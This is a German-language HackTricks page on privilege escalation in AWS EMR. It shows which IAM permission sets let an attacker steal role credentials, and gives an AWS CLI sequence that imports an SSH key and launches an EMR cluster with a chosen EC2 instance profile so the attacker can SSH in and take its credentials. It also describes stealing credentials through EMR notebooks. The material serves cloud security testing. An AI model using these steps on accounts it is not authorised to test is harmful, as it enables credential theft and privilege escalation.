AWS - EMR Privesc

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

EMR

Mehr Informationen über EMR in:

AWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

Ein Angreifer mit diesen Berechtigungen kann einen neuen EMR-Cluster starten und EC2-Rollen anhängen und versuchen, dessen Zugangsdaten zu stehlen.
Beachte, dass du dafür eine im Account importierte ssh priv key kennen müsstest oder eine importieren müsstest, und in der Lage sein müsstest, Port 22 im master node zu öffnen (möglicherweise kannst du dies mit den Attributen EmrManagedMasterSecurityGroup und/oder ServiceAccessSecurityGroup innerhalb von --ec2-attributes erreichen).

bash
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

Beachte, dass eine EMR role in --service-role angegeben wird und eine ec2 role in --ec2-attributes innerhalb von InstanceProfile. Diese Technik erlaubt jedoch nur das Stehlen der EC2 role credentials (da du dich per ssh verbindest), nicht jedoch der EMR IAM Role.

Mögliche Auswirkungen: Privesc auf die angegebene EC2 service role.

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

Mit diesen Berechtigungen kann ein Angreifer zur AWS console gehen, ein Notebook erstellen und darauf zugreifen, um die IAM Role zu stehlen.

caution

Selbst wenn du in meinen Tests eine IAM role an die Notebook-Instanz angehängt hast, fiel mir auf, dass ich AWS managed credentials stehlen konnte und nicht die zur IAM role gehörigen creds.

Mögliche Auswirkungen: Privesc zur AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

elasticmapreduce:OpenEditorInConsole

Allein mit dieser Berechtigung kann ein Angreifer auf das Jupyter Notebook und die damit verbundene IAM role zugreifen und sie stehlen.
Die URL des Notebooks ist https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/

caution

Selbst wenn du in meinen Tests eine IAM role an die Notebook-Instanz angehängt hast, fiel mir auf, dass ich AWS managed credentials stehlen konnte und nicht die zur IAM role gehörigen creds

Mögliche Auswirkungen: Privesc zur AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks